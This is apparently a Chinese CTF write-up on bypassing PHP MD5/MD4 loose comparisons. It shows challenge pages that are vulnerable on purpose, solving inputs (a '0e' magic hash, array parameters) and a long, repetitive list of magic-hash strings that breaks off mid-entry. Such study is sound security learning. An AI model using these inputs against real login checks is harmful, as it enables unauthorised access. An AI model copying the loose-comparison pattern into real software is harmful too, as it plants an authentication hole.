md5绕过

原创

已于 2024-12-05 08:18:31 修改 · 1.1k 阅读

19 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #web安全

于 2024-12-04 22:35:29 首次发布

md5弱比较

var_dump("123a"==123) //True

var_dump("123a"=="123") //False

弱比较区分与字符串类型比较还是与int类型比较

字符串与int类型比较:

PHP规定当进行字符串与数字的弱比较时，会进行如下步骤：

先看字符串开头是否为数字，如果为数字，则截止到连续数字的最后一个数字，即"123abc456"=>123

如果开头不为数字，则判断为false，即0。因此

("aaa123"==0) =>true

("123a"==123) =>true

字符串与字符串比较：

var_dump("123a"=="123"); //False

因为这个是字符串之间进行比较，想要绕过这个弱比较只能用0e的方式。

在PHP中"0e"判断为科学计数法，0e123就是0的10123次方

不难推出：0e123456789==0e1 // 因为0的任意次方都为0

不过有一个注意点：

"0e123456"=="0e345" //True

"0e12adfc"=="0e345" //False

在0e后面不能含有字母！！！

在0e后面不能含有字母！！！

在0e后面不能含有字母！！！

否则判断为False

1.格式a=md4（a）

<?php
error_reporting(0);
highlight_file("pass-01.php");

if(isset($_GET["pass"])){
if($_GET["pass"] != hash("md4", $_GET["pass"])){
die('fail~~~');
}else{
echo "success!!!<br>";
echo file_get_contents('flag.txt')."\n";
echo "<a href='pass-02.php'>下一关</a>";
}
}else{
echo "please input the pass";
}
?> please input the pass

函数解析：isset() // 检测变量是否已声明且值不为NULL

pass传入的值和经过md4加密的值相等得到flag

MD4碰撞得：0e251288019

∴ pass=0e251288019

2.md5的弱类型比较a!=b&&md5(a)==md5(b)

<?php
error_reporting(0);
highlight_file("pass-02.php");

if(isset($_GET['user']) && isset($_GET['pass'])){
$user = $_GET['user'];
$pass = $_GET['pass'];

if($user != $pass && md5($user) == md5($pass)){
echo "success!<br>";
echo file_get_contents('flag.txt')."\n";
echo "<a href='pass-03.php'>ä¸‹ä¸€å…³</a>";
}else{
echo "fail~~~";
}

}else{
echo "please input the user and pass!"."\n";
}
?> please input the user and pass!

通过get方式获得的user和pass值不相等且两者经过MD5加密后的值相等

1.传入数组，默认MD5(数组)返回NULL

用数组绕过得：
http://……/?user[]=1&pass[]=2

在 PHP5 和 PHP7 中，当两个 md5 进行比较时，若参数是不同的数组，那么 == 和 === 比较的结果均为 True

PHP8无法绕过

2.md5碰撞

md5("s1885207154a") => 0e509367213418206700842008763514

md5("s1836677006a") => 0e481036490867661113260034900752

在PHP中 0e开头表示为科学计数法 0e后面的字母会被当作零处理

所以真正比较的过程会变成下面这样

0 == 0

返回结果为true,也就是说0e开头的md5值进行弱类型比较时,结果相等

字符串的MD5值为0e开头

QLTHNDT

QNKCDZO

PJNPDWY

NWWKITQ

NOOPCJF

MMHUWUV

MAUXXQC

240610708

s878926199a

s155964671a

s214587387a

    byGcY

    sonZ7y

    aabg7XSs

    aabC9RqS

    s878926199a

    s1091221200a

http://……/?user=s1885207154a&pass=s1836677006a

常见的 md5 值是 0e 开头且后面均为数字的字符串

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
1110242161
0e435874